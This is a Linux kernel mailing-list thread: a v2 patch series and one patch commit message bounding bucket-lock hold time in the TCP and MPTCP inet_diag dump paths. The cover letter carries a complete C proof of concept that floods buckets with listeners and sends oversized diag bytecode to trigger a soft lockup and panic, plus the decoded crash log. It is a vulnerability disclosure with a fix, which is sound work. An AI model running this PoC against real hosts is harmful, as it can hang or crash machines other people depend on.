* [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths
@ 2026-09-01 12:53 Zihan Xi
2026-09-01 12:53 ` [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump() Zihan Xi
` (2 more replies)
0 siblings, 3 replies; 5+ messages in thread
From: Zihan Xi @ 2026-09-01 12:53 UTC (permalink / raw)
To: netdev
Cc: Zihan Xi, linux-kernel, mptcp, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, Neal Cardwell,
Kuniyuki Iwashima, Matthieu Baerts, Mat Martineau, Geliang Tang,
Guillaume Nault, Florian Westphal
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/tcp_diag.c and
net/mptcp/mptcp_diag.c. The bug is reachable by a
non-root user via user and net namespace.
Our testing did not identify any impact on other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
inet_diag TCP dumps currently execute request-supplied
INET_DIAG_REQ_BYTECODE programs while still holding the listener, bind,
or ehash bucket locks in tcp_diag_dump(). With a heavily populated
bucket, the time spent under the same lock grows with both raw socket
traversal and bytecode cost.
The local listener reproducer creates four SO_REUSEPORT groups of 32768
listeners each, 131072 sockets in total, and then issues a
NETLINK_SOCK_DIAG dump request with 16380 INET_DIAG_BC_NOP instructions
followed by a failing INET_DIAG_BC_D_EQ test. This is a deliberately
concentrated setup to make the lock scope observable; it is not intended
to represent a typical deployment. Because every socket runs the full
bytecode and none reaches the reply fill path, skb backpressure does not
terminate the walk early.
On the unfixed kernel, with local softlockup panic sysctls enabled, this
makes the long bucket-locked section visible as a watchdog report and
panic in inet_diag_bc_sk().
The earlier batching fix direction was still too narrow: it only counted
sockets that survived the cheap prefilters and reached the expensive dump
path. An attacker can therefore populate one bucket with many sockets or
listeners that fail the netns/family/port or MPTCP-specific prefilters,
causing the same bucket lock to be scanned far past the 16-entry batch
threshold before control is returned.
The same root cause also exists in MPTCP listener dumping. The
MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
which runs inet_diag_bc_sk() before filling the netlink reply, while the
listener bucket lock is still held.
The inline reproducer and decoded crash log below cover the TCP watchdog
path only. They are not an MPTCP crash reproduction. The crash log is the
decoded output of `./scripts/decode_stacktrace.sh`, with source paths
reduced to repository-relative file and line references for review. The
MPTCP patch addresses the equivalent listener lock scope identified by
code inspection and completed MPTCP listener stress tests. A separate
MPTCP crash artifact is not included, because the fixed MPTCP run
completed without a crash.
This series fixes both sites by keeping bucket-locked sections limited to
raw socket collection and lifetime pinning, and moving all filtering,
inet_diag_bc_sk(), and socket filling work out of the locked regions so
the batch limit applies to raw bucket traversal itself. For TCP listener,
bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
keep a referenced dump cursor so the next batch resumes after the
previous socket instead of rescanning the bucket head under the same
lock. A stored cursor is reused only after it is checked against the
currently locked bucket. Listen and ehash resume also require the socket
state to still belong to that table. Current-bucket membership is inferred
from that state plus the recomputed hash slot. If the check fails,
collection restarts from the bucket head with the same batch limit. That
fallback can emit a socket more than once, but it does not move bytecode
or fill work back under the bucket lock. Bind collection counts TIME_WAIT
nodes toward the batch limit and restores them through tw_tb2.
We also ran targeted cursor-resume stress tests on the fixed kernel. The
TCP listener workload used 131072 listeners while a separate thread
repeatedly removed and recreated listeners across listener buckets. Three
runs completed in 17024.089 ms, 17217.245 ms, and 17180.322 ms, and the
guest remained alive. With temporary kernel instrumentation, one run
directly observed an invalid TCP listener cursor: the cursor was unhashed
and its computed bucket differed from the bucket being scanned, after
which the safe restart path completed normally.
A corresponding MPTCP listener workload and a TCP bound-only close/rebind
workload also completed without a crash, and the guest remained alive.
Neither workload deterministically reached its instrumented invalid-cursor
branch, and no crash artifact is claimed for either path.
For ehash, a dedicated workload created 4096 loopback established TCP
connections while a mutator replaced connection pairs concurrently. The
TCPF_ALL inet_diag dump completed in 315.108 ms. No ehash invalid-cursor
log, soft lockup, or panic was observed. These tests exercise the relevant
mutation and resume paths, but do not claim deterministic scheduling of
every race between two dump callbacks.
The TCP patch uses two Fixes tags for the path-specific introductions:
commit 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
introduced the listener bucket spinlock, and commit 91051f003948
("tcp: Dump bound-only sockets in inet_diag.") introduced the bound-only
path. The ehash dump already ran diagnostic work under the bucket lock
before 7e3aab4a9cd7, which only converted that lock from read_lock_bh()
to spin_lock_bh(), so that commit is not used as a Fixes tag. The MPTCP
patch uses commit 4fa39b701ce9 ("mptcp: listen diag dump support").
udp_diag and raw diag still run bytecode and fill under their own hash
slot locks. Those locks are not the TCP listener, bind, or ehash locks,
or the MPTCP listener lock, tightened by this series.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
This is not a packet-sequence or protocol-state reproducer. The trigger
depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
which packetdrill cannot express, so the PoC uses sockets and Netlink
directly.
To make the long bucket-locked section observable in the local QEMU
run below, we enabled softlockup panic sysctls as guest root. The
unshare command above uses the PoC defaults, which are:
./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
The crash log reports UID: 0 because that process is the userns root
created by unshare -Urn, after those sysctls were set as guest root.
That UID does not by itself prove a host-unprivileged run. The inet_diag
dump path itself is reachable from a user and net namespace.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/inet_diag.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/tcp.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>
#ifndef SOL_TCP
#define SOL_TCP 6
#endif
#ifndef TCP_LISTEN
#define TCP_LISTEN 10
#endif
#define TCPF_LISTEN (1U << TCP_LISTEN)
#ifndef TCP_BOUND_INACTIVE
#define TCP_BOUND_INACTIVE 13
#endif
#ifndef TCPF_BOUND_INACTIVE
#define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
#endif
#define DEFAULT_SOCKETS 32768U
#define DEFAULT_NOPS 16380U
#define DEFAULT_REPEAT 1U
#define DEFAULT_GROUPS 4U
#define DEFAULT_STRIDE 2048U
#define DEFAULT_BASE_PORT 10000
#define MAX_NOPS 16380U
#define RECV_BUF_SIZE (1U << 20)
struct options {
unsigned int sockets;
unsigned int nops;
unsigned int repeat;
unsigned int groups;
unsigned int stride;
unsigned int cpu;
bool cpu_set;
bool compare;
bool attack;
bool listen_mode;
int port;
};
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
" [--groups N] [--stride N] [--compare] [--no-attack]\n"
" [--listen | --bound]\n"
"Defaults: --count %u --nops %u --repeat %u\n",
prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
}
static long long timespec_delta_ns(const struct timespec *start,
const struct timespec *end)
{
return (end->tv_sec - start->tv_sec) * 1000000000LL +
(end->tv_nsec - start->tv_nsec);
}
static int raise_nofile_limit(rlim_t needed)
{
struct rlimit lim;
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur >= needed)
return 0;
if (lim.rlim_max < needed)
needed = lim.rlim_max;
lim.rlim_cur = needed;
if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("setrlimit(RLIMIT_NOFILE)");
return -1;
}
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur < needed) {
fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
(unsigned long long)lim.rlim_cur,
(unsigned long long)needed);
return -1;
}
return 0;
}
static int pin_to_cpu(unsigned int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
return -1;
}
return 0;
}
static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_ANY),
};
socklen_t addrlen = sizeof(addr);
int one = 1;
int fd;
fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0) {
perror("socket(AF_INET, SOCK_STREAM)");
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEPORT)");
goto err;
}
addr.sin_port = htons(port);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
perror("getsockname");
goto err;
}
if (listen_mode) {
if (listen(fd, 0) < 0) {
perror("listen");
goto err;
}
}
*bound_port = ntohs(addr.sin_port);
return fd;
err:
close(fd);
return -1;
}
static int setup_sockets(bool listen_mode, unsigned int groups,
unsigned int count_per_group, unsigned int stride,
int requested_port, int **fds_out, int *port_out)
{
int *fds;
unsigned int g, i;
unsigned int total = groups * count_per_group;
int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
fds = calloc(total, sizeof(*fds));
if (!fds) {
perror("calloc(socket fds)");
return -1;
}
for (g = 0; g < groups; g++) {
int port = base_port + (int)(g * stride);
if (port <= 0 || port > 65535) {
fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
g, base_port, stride);
goto err;
}
for (i = 0; i < count_per_group; i++) {
unsigned int idx = g * count_per_group + i;
int bound_port = port;
int fd = create_socket_in_bucket(listen_mode, bound_port,
&bound_port);
if (fd < 0) {
fprintf(stderr,
"socket setup failed at group %u index %u (port %d)\n",
g, i, port);
goto err;
}
fds[idx] = fd;
if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
printf("sockets_ready=%u group=%u port=%d mode=%s\n",
idx + 1, g + 1, port,
listen_mode ? "listen" : "bound");
}
}
}
*fds_out = fds;
*port_out = base_port;
return 0;
err:
for (i = 0; i < total; i++) {
if (fds[i] > 0)
close(fds[i]);
}
free(fds);
return -1;
}
static void teardown_sockets(int *fds, unsigned int count)
{
unsigned int i;
if (!fds)
return;
for (i = 0; i < count; i++) {
if (fds[i] >= 0)
close(fds[i]);
}
free(fds);
}
static size_t build_request(void *buf, bool listen_mode, bool with_attack,
unsigned int nops)
{
size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
struct nlmsghdr *nlh = buf;
struct inet_diag_req_v2 *req;
memset(buf, 0, msg_len);
nlh->nlmsg_len = msg_len;
nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
nlh->nlmsg_seq = 1;
req = NLMSG_DATA(nlh);
req->sdiag_family = AF_INET;
req->sdiag_protocol = IPPROTO_TCP;
req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
if (with_attack) {
size_t payload_len = ((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op);
size_t attr_len = NLA_HDRLEN + payload_len;
struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
struct inet_diag_bc_op *ops;
unsigned int i;
memset(nla, 0, NLA_ALIGN(attr_len));
nla->nla_type = INET_DIAG_REQ_BYTECODE;
nla->nla_len = attr_len;
ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
for (i = 0; i < nops; i++) {
ops[i].code = INET_DIAG_BC_NOP;
ops[i].yes = sizeof(struct inet_diag_bc_op);
ops[i].no = 0;
}
ops[nops].code = INET_DIAG_BC_D_EQ;
ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
ops[nops + 1].code = 0;
ops[nops + 1].yes = 0;
ops[nops + 1].no = 1;
msg_len += NLA_ALIGN(attr_len);
nlh->nlmsg_len = msg_len;
}
return msg_len;
}
static int recv_until_done(int fd)
{
char *buf;
int ret = 0;
buf = malloc(RECV_BUF_SIZE);
if (!buf) {
perror("malloc(recv buf)");
return -1;
}
for (;;) {
ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
struct nlmsghdr *nlh;
int remaining;
if (received < 0) {
perror("recv");
ret = -1;
break;
}
if (received == 0) {
fprintf(stderr, "recv: unexpected EOF\n");
ret = -1;
break;
}
remaining = (int)received;
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
nlh = NLMSG_NEXT(nlh, remaining)) {
if (nlh->nlmsg_type == NLMSG_DONE)
goto out;
if (nlh->nlmsg_type == NLMSG_ERROR) {
const struct nlmsgerr *err = NLMSG_DATA(nlh);
if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
fprintf(stderr, "short NLMSG_ERROR\n");
} else if (err->error) {
errno = -err->error;
perror("netlink");
} else {
fprintf(stderr, "unexpected ACK\n");
}
ret = -1;
goto out;
}
}
}
out:
free(buf);
return ret;
}
static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
double *wall_ms)
{
size_t request_len;
size_t attr_space = with_attack ?
NLA_ALIGN(NLA_HDRLEN +
((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op)) : 0;
size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
attr_space;
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
};
struct sockaddr_nl kernel = {
.nl_family = AF_NETLINK,
};
struct timeval timeout = {
.tv_sec = 60,
.tv_usec = 0,
};
struct iovec iov;
struct msghdr msg = {
.msg_name = &kernel,
.msg_namelen = sizeof(kernel),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct timespec start_ts;
struct timespec end_ts;
void *request;
int fd;
int ret = -1;
request = malloc(alloc_len);
if (!request) {
perror("malloc(request)");
return -1;
}
request_len = build_request(request, listen_mode, with_attack, nops);
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
if (fd < 0) {
perror("socket(AF_NETLINK)");
free(request);
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
perror("setsockopt(SO_RCVTIMEO)");
goto out;
}
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
perror("bind(netlink)");
goto out;
}
iov.iov_base = request;
iov.iov_len = request_len;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
perror("clock_gettime(start)");
goto out;
}
if (sendmsg(fd, &msg, 0) < 0) {
perror("sendmsg");
goto out;
}
if (recv_until_done(fd) < 0)
goto out;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
perror("clock_gettime(end)");
goto out;
}
*wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
ret = 0;
out:
close(fd);
free(request);
return ret;
}
static int parse_u32(const char *arg, unsigned int *value)
{
char *end = NULL;
unsigned long parsed;
parsed = strtoul(arg, &end, 0);
if (!end || *end || parsed > UINT32_MAX)
return -1;
*value = (unsigned int)parsed;
return 0;
}
static int parse_port(const char *arg, int *port)
{
unsigned int value;
if (parse_u32(arg, &value) < 0 || value > 65535U)
return -1;
*port = (int)value;
return 0;
}
int main(int argc, char **argv)
{
struct options opts = {
.sockets = DEFAULT_SOCKETS,
.nops = DEFAULT_NOPS,
.repeat = DEFAULT_REPEAT,
.groups = DEFAULT_GROUPS,
.stride = DEFAULT_STRIDE,
.cpu = 0,
.cpu_set = false,
.compare = false,
.attack = true,
.listen_mode = true,
.port = 0,
};
int *fds = NULL;
int port = 0;
unsigned int i;
for (i = 1; i < (unsigned int)argc; i++) {
if (strcmp(argv[i], "--count") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.sockets) < 0 ||
opts.sockets == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--nops") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.nops) < 0 ||
opts.nops > MAX_NOPS) {
fprintf(stderr, "--nops must be in range [0, %u]\n",
MAX_NOPS);
return 1;
}
} else if (strcmp(argv[i], "--repeat") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.repeat) < 0 ||
opts.repeat == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--groups") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.groups) < 0 ||
opts.groups == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--stride") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.stride) < 0 ||
opts.stride == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--port") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_port(argv[++i], &opts.port) < 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--cpu") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.cpu) < 0) {
usage(argv[0]);
return 1;
}
opts.cpu_set = true;
} else if (strcmp(argv[i], "--compare") == 0) {
opts.compare = true;
} else if (strcmp(argv[i], "--no-attack") == 0) {
opts.attack = false;
} else if (strcmp(argv[i], "--listen") == 0) {
opts.listen_mode = true;
} else if (strcmp(argv[i], "--bound") == 0) {
opts.listen_mode = false;
} else {
usage(argv[0]);
return 1;
}
}
if (opts.groups > UINT32_MAX / opts.sockets) {
fprintf(stderr, "socket count overflow\n");
return 1;
}
if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
return 1;
if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
return 1;
if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
opts.stride, opts.port, &fds, &port) < 0)
return 1;
printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
opts.groups, opts.sockets, opts.groups * opts.sockets,
port, opts.stride, opts.listen_mode ? "listen" : "bound",
opts.nops, opts.repeat,
opts.compare ? "yes" : "no",
opts.attack ? "yes" : "no");
if (opts.compare) {
double wall_ms;
if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("baseline wall_ms=%.3f\n", wall_ms);
}
if (opts.attack) {
for (i = 0; i < opts.repeat; i++) {
double wall_ms;
if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
}
}
teardown_sockets(fds, opts.groups * opts.sockets);
return 0;
}
------END poc.c--------
----BEGIN crash log----
watchdog: BUG: soft lockup - CPU#1 stuck for 3s! [poc:256]
[ 21.507468] Modules linked in:
[ 21.507471] CPU: 1 UID: 0 PID: 256 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #5 PREEMPT(full)
[ 21.507472] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 21.507473] RIP: 0010:inet_diag_bc_sk (inet_diag.c:471 inet_diag.c:631)
[ 21.507499] Code: 00 00 00 0f 87 89 00 00 00 3c 02 0f 84 4e 01 00 00 3c 03 0f 84 72 01 00 00 3c 01 75 31 0f b7 53 02 29 d5 48 01 d3 85 ed 7e 31 <0f> b6 03 3c 08 76 c2 3c 0b 0f 84 76 01 00 00 77 3a 3c 09 0f 84 54
All code
========
0: 00 00 add %al,(%rax)
2: 00 0f add %cl,(%rdi)
4: 87 89 00 00 00 3c xchg %ecx,0x3c000000(%rcx)
a: 02 0f add (%rdi),%cl
c: 84 4e 01 test %cl,0x1(%rsi)
f: 00 00 add %al,(%rax)
11: 3c 03 cmp $0x3,%al
13: 0f 84 72 01 00 00 je 0x18b
19: 3c 01 cmp $0x1,%al
1b: 75 31 jne 0x4e
1d: 0f b7 53 02 movzwl 0x2(%rbx),%edx
21: 29 d5 sub %edx,%ebp
23: 48 01 d3 add %rdx,%rbx
26: 85 ed test %ebp,%ebp
28: 7e 31 jle 0x5b
2a:* 0f b6 03 movzbl (%rbx),%eax <-- trapping instruction
2d: 3c 08 cmp $0x8,%al
2f: 76 c2 jbe 0xfffffffffffffff3
31: 3c 0b cmp $0xb,%al
33: 0f 84 76 01 00 00 je 0x1af
39: 77 3a ja 0x75
3b: 3c 09 cmp $0x9,%al
3d: 0f .byte 0xf
3e: 84 .byte 0x84
3f: 54 push %rsp
Code starting with the faulting instruction
===========================================
0: 0f b6 03 movzbl (%rbx),%eax
3: 3c 08 cmp $0x8,%al
5: 76 c2 jbe 0xffffffffffffffc9
7: 3c 0b cmp $0xb,%al
9: 0f 84 76 01 00 00 je 0x185
f: 77 3a ja 0x4b
11: 3c 09 cmp $0x9,%al
13: 0f .byte 0xf
14: 84 .byte 0x84
15: 54 push %rsp
[ 21.507500] RSP: 0018:ffffbb290036b7a8 EFLAGS: 00000202
[ 21.507501] RAX: 0000000000000000 RBX: ffff98bcf7ca2588 RCX: 0000000000000000
[ 21.507502] RDX: 0000000000000004 RSI: ffff98bcf7ca0048 RDI: ffff98bcf61c9840
[ 21.507502] RBP: 000000000000dabc R08: 0000000000000000 R09: ffff98bcdfb91440
[ 21.507502] R10: 0000000000000000 R11: ffff98bcdfb91444 R12: 0000000000000000
[ 21.507503] R13: 0000000000002f10 R14: 0000000000000000 R15: 0000000000000002
[ 21.507508] FS: 0000000002be8380(0000) GS:ffff98bda3b6e000(0000) knlGS:0000000000000000
[ 21.507509] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 21.507510] CR2: 00007f62b3bb9000 CR3: 000000000c6b6005 CR4: 0000000000370ef0
[ 21.507510] Call Trace:
[ 21.507512] <TASK>
[ 21.507512] ? inet_diag_bc_sk (inet_diag.c:632)
[ 21.507514] tcp_diag_dump (tcp_diag.c:366)
[ 21.507524] ? ___slab_alloc (slub.c:1080 slub.c:4524)
[ 21.507526] ? __kmalloc_node_track_caller_noprof (slub.c:4936 slub.c:5361 slub.c:5497)
[ 21.507527] ? inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
[ 21.507528] ? __alloc_skb (skbuff.c:715)
[ 21.507531] ? kmalloc_reserve (skbuff.c:637 (discriminator 1))
[ 21.507532] __inet_diag_dump (inet_diag.c:823)
[ 21.507533] netlink_dump (af_netlink.c:2331)
[ 21.507543] __netlink_dump_start (af_netlink.c:2446)
[ 21.507544] inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
[ 21.507545] ? __pfx_inet_diag_dump_start (inet_diag.c:891)
[ 21.507546] ? __pfx_inet_diag_dump (inet_diag.c:928)
[ 21.507547] ? __pfx_inet_diag_dump_done (inet_diag.c:508)
[ 21.507548] sock_diag_rcv_msg (sock_diag.c:248 sock_diag.c:284)
[ 21.507550] ? __pfx_sock_diag_rcv_msg (sock_diag.c:306)
[ 21.507551] netlink_rcv_skb (af_netlink.c:2556)
[ 21.507553] netlink_unicast (af_netlink.c:1319 af_netlink.c:1345)
[ 21.507554] netlink_sendmsg (af_netlink.c:1900)
[ 21.507556] ____sys_sendmsg (socket.c:775 (discriminator 1) socket.c:790 (discriminator 1) socket.c:2684 (discriminator 1))
[ 21.507558] ___sys_sendmsg (socket.c:2738)
[ 21.507559] __sys_sendmsg (socket.c:2770)
[ 21.507560] do_syscall_64 (syscall_64.c:63 syscall_64.c:94)
[ 21.507563] entry_SYSCALL_64_after_hwframe (entry_64.S:121)
[ 21.507564] RIP: 0033:0x421964
[ 21.507566] Code: c2 c0 ff ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d fd 26 09 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 20 89 55
All code
========
0: c2 c0 ff ret $0xffc0
3: ff (bad)
4: ff f7 push %rdi
6: d8 64 89 02 fsubs 0x2(%rcx,%rcx,4)
a: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
11: eb b5 jmp 0xffffffffffffffc8
13: 0f 1f 00 nopl (%rax)
16: f3 0f 1e fa endbr64
1a: 80 3d fd 26 09 00 00 cmpb $0x0,0x926fd(%rip) # 0x9271e
21: 74 13 je 0x36
23: b8 2e 00 00 00 mov $0x2e,%eax
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 4c ja 0x7e
32: c3 ret
33: 0f 1f 00 nopl (%rax)
36: 55 push %rbp
37: 48 89 e5 mov %rsp,%rbp
3a: 48 83 ec 20 sub $0x20,%rsp
3e: 89 .byte 0x89
3f: 55 push %rbp
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 4c ja 0x54
8: c3 ret
9: 0f 1f 00 nopl (%rax)
c: 55 push %rbp
d: 48 89 e5 mov %rsp,%rbp
10: 48 83 ec 20 sub $0x20,%rsp
14: 89 .byte 0x89
15: 55 push %rbp
[ 21.507567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
[ 21.507568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 0000000000421964
[ 21.507570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 0000000000020003
[ 21.507571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3bb50e8
[ 21.507571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d1d110
[ 21.507571] R13: 0000000000003ffc R14: 0000000000010044 R15: 000000000000fffc
[ 21.507572] </TASK>
[ 21.507573] Kernel panic - not syncing: softlockup: hung tasks
-----END crash log-----
Best regards,
Zihan Xi
changes in v2:
- Rebased onto net commit e2a6641e3bfd (2026-08-27).
- Corrected the non-listener PoC state mask to TCPF_BOUND_INACTIVE.
- Added current-bucket cursor validation for TCP listener, bind, and
ehash paths, and for MPTCP listeners, with safe restart on mismatch.
- Reject listen/ehash/MPTCP listener cursors unless sk_state still
matches the table being walked.
- Count TIME_WAIT bind nodes toward the batch limit and resume them via
tw_tb2 instead of treating them as inet_connection_sock.
- Kept the listener and bound-only TCP Fixes tags; dropped 7e3aab4a9cd7
because that commit only converted the existing ehash dump lock type.
- Sorted new TCP dump local declarations reverse xmas tree.
- Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into the MPTCP patch.
- Read icsk_ulp_data with rcu_dereference() after dropping the MPTCP
listener lock.
- Refreshed the inline PoC and matching decoded crash log artifacts.
- Corrected wording and removed duplicate crash-log provenance text.
- Made PoC defaults match unshare -Urn ./poc (4 listener groups).
- Clarified crash-log UID 0, cursor fallback restart, and that UDP/RAW
diag locks are outside this series.
- v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
Zihan Xi (2):
tcp: diag: bound bucket lock hold in tcp_diag_dump()
mptcp: diag: bound listener bucket lock hold
include/linux/inet_diag.h | 15 ++
include/net/inet_hashtables.h | 18 ++
net/ipv4/inet_diag.c | 13 ++
net/ipv4/inet_hashtables.c | 18 --
net/ipv4/tcp_diag.c | 338 +++++++++++++++++++++++++---------
net/mptcp/mptcp_diag.c | 124 +++++++++----
6 files changed, 383 insertions(+), 143 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 5+ messages in thread
* [PATCH net v2 1/2] tcp: diag: bound bucket lock hold in tcp_diag_dump()
2026-09-01 12:53 [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Zihan Xi
@ 2026-09-01 12:53 ` Zihan Xi
2026-09-01 12:53 ` [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold Zihan Xi
2026-09-03 2:09 ` [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths Kuniyuki Iwashima
2 siblings, 0 replies; 5+ messages in thread
From: Zihan Xi @ 2026-09-01 12:53 UTC (permalink / raw)
To: netdev
Cc: Zihan Xi, linux-kernel, mptcp, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, Neal Cardwell,
Kuniyuki Iwashima, Matthieu Baerts, Mat Martineau, Geliang Tang,
Guillaume Nault, Florian Westphal, stable, Vega
inet_diag dumps run request-supplied bytecode through inet_diag_bc_sk().
tcp_diag_dump() currently evaluates socket filters and fills replies while
holding the listener, bind, and ehash bucket locks.
The time spent under a bucket lock can therefore grow with the number of
sockets visited and with per-socket dump work. This defeats the intended
bounded nature of the bucket walk and can cause excessive lock hold times.
Fix this by collecting only referenced sockets while holding each bucket
lock. Move the filtering, bytecode evaluation, and fill work out of the
critical section, and keep a referenced dump cursor so each subsequent
batch resumes after the previous socket instead of rescanning the bucket
head. Validate a cursor against the current listener, bind, or ehash
bucket, and against the table implied by sk_state, before resuming from
it. Bind collection counts TIME_WAIT nodes toward the batch limit and
resumes them via tw_tb2.
Fixes: 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
